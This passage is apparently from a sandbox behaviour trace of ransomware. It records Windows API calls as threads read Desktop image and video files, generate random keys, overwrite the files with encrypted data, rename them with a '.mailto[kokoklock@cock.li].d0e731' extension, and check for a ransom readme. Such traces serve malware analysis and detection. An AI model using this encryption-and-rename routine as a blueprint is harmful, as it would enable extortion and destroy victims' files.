"c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.442] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.442] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0172.442] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.442] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.442] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.442] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.442] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.442] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcff78) returned 1 [0172.442] RtlExitUserThread (Status=0x1) Thread: id = 1943 os_tid = 0xcbc [0170.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.398] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.399] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13bff944 | out: lpFileSize=0x13bff944*=48055) returned 1 [0172.399] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xbbb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.399] ReadFile (in: hFile=0x5d4, lpBuffer=0x13bff918, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x13bff918*, lpNumberOfBytesRead=0x13bff914*=0x4, lpOverlapped=0x0) returned 1 [0172.400] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0172.400] NtQuerySystemTime (in: CurrentTime=0x13bff8f0 | out: CurrentTime=0x13bff8f0*=132121213297170802) returned 0x0 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x5128bb4 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xf1bfee05 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xe88279bf [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x74f07219 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xbc22406a [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x9873885b [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xcfbc1d29 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x10a0726e [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x9bc18eee [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x8460371c [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x94306a29 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xbed1a626 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x4f04101f [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x71c312bb [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xa98dff6c [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xa57982c [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xa172bb0f [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x15372eb1 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x5614c8cc [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x683cd04b [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xdfebe41e [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x5377788e [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x6ce84ff0 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x159f15e0 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x19d4a960 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x9351f3f4 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0xaadbc332 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x91d3e4fd [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x8f6bef38 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x55bb0e73 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x8bfa0655 [0172.401] RtlRandom (in: Seed=0x13bff8fc | out: Seed=0x13bff8fc) returned 0x9ccf2359 [0172.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057eb8 [0172.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.414] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.414] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.414] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.414] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13bff8c8, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13bff8c8*=0x4096, lpOverlapped=0x0) returned 1 [0172.415] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.416] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.416] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058368 [0172.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058368) returned 1 [0172.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.416] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13bff8c8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13bff8c8*=0x4096, lpOverlapped=0x0) returned 1 [0172.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.416] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xbbb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.416] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13bff900, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13bff900*=0x20, lpOverlapped=0x0) returned 1 [0172.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.416] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057ee0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x3057ee0*, lpNumberOfBytesWritten=0x13bff914*=0x8, lpOverlapped=0x0) returned 1 [0172.417] WriteFile (in: hFile=0x5d4, lpBuffer=0x13bff92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x13bff92c*, lpNumberOfBytesWritten=0x13bff914*=0x4, lpOverlapped=0x0) returned 1 [0172.417] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13bff914*=0x4, lpOverlapped=0x0) returned 1 [0172.417] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13bff914*=0x6c, lpOverlapped=0x0) returned 1 [0172.417] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13bff914*=0x20, lpOverlapped=0x0) returned 1 [0172.417] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13bff914, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13bff914*=0x4, lpOverlapped=0x0) returned 1 [0172.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057eb8) returned 1 [0172.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0172.417] CloseHandle (hObject=0x5d4) returned 1 [0172.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc3548 [0172.418] wcscpy (in: _Dest=0x2fc3548, _Source="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" [0172.418] wcscat (in: _Dest=0x2fc3548, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.418] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.418] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3548) returned 1 [0172.419] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.419] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.419] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.419] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83168) returned 1 [0172.419] RtlExitUserThread (Status=0x1) Thread: id = 1944 os_tid = 0x9dc [0170.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.379] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.379] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13c7fc0c | out: lpFileSize=0x13c7fc0c*=31562) returned 1 [0172.379] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7b46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.380] ReadFile (in: hFile=0x5d4, lpBuffer=0x13c7fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x13c7fbe0*, lpNumberOfBytesRead=0x13c7fbdc*=0x4, lpOverlapped=0x0) returned 1 [0172.380] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e40 [0172.381] NtQuerySystemTime (in: CurrentTime=0x13c7fbb8 | out: CurrentTime=0x13c7fbb8*=132121213297014555) returned 0x0 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x91de2fdc [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xdfa2c035 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xb3daa60c [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x546e479f [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xa3629e01 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xf9555584 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xf6a35c77 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x49d47101 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xdf6e4fb4 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xfc052ab3 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x8363b3a2 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x3c5449c1 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x35381209 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x2016a377 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x680c87fc [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xb978d89 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x4c6c8bc2 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x61504388 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xdc874f4a [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xcb45331c [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x7e411b0b [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xf44f915f [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x8e30ae08 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x9ba9da22 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xb59b7888 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xa999ecd1 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0xa77eff63 [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x1fa316be [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x85b3ff4b [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x66bd672f [0172.381] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x85248d92 [0172.382] RtlRandom (in: Seed=0x13c7fbc4 | out: Seed=0x13c7fbc4) returned 0x614a7fb2 [0172.391] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0172.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057eb8 [0172.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.393] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.393] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13c7fb90, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13c7fb90*=0x4096, lpOverlapped=0x0) returned 1 [0172.393] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0172.394] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.394] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.394] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0172.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.394] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13c7fb90, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13c7fb90*=0x4096, lpOverlapped=0x0) returned 1 [0172.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.394] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7b4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13c7fbc8, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13c7fbc8*=0x20, lpOverlapped=0x0) returned 1 [0172.395] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.395] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.395] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057eb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x3057eb8*, lpNumberOfBytesWritten=0x13c7fbdc*=0x8, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x5d4, lpBuffer=0x13c7fbf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x13c7fbf4*, lpNumberOfBytesWritten=0x13c7fbdc*=0x4, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13c7fbdc*=0x4, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13c7fbdc*=0x6c, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13c7fbdc*=0x20, lpOverlapped=0x0) returned 1 [0172.396] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13c7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13c7fbdc*=0x4, lpOverlapped=0x0) returned 1 [0172.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0172.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057eb8) returned 1 [0172.396] CloseHandle (hObject=0x5d4) returned 1 [0172.396] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4940 [0172.396] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" [0172.396] wcscat (in: _Dest=0x2fc4940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.396] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg.mailto[kokoklock@cock.li].d0e731"), 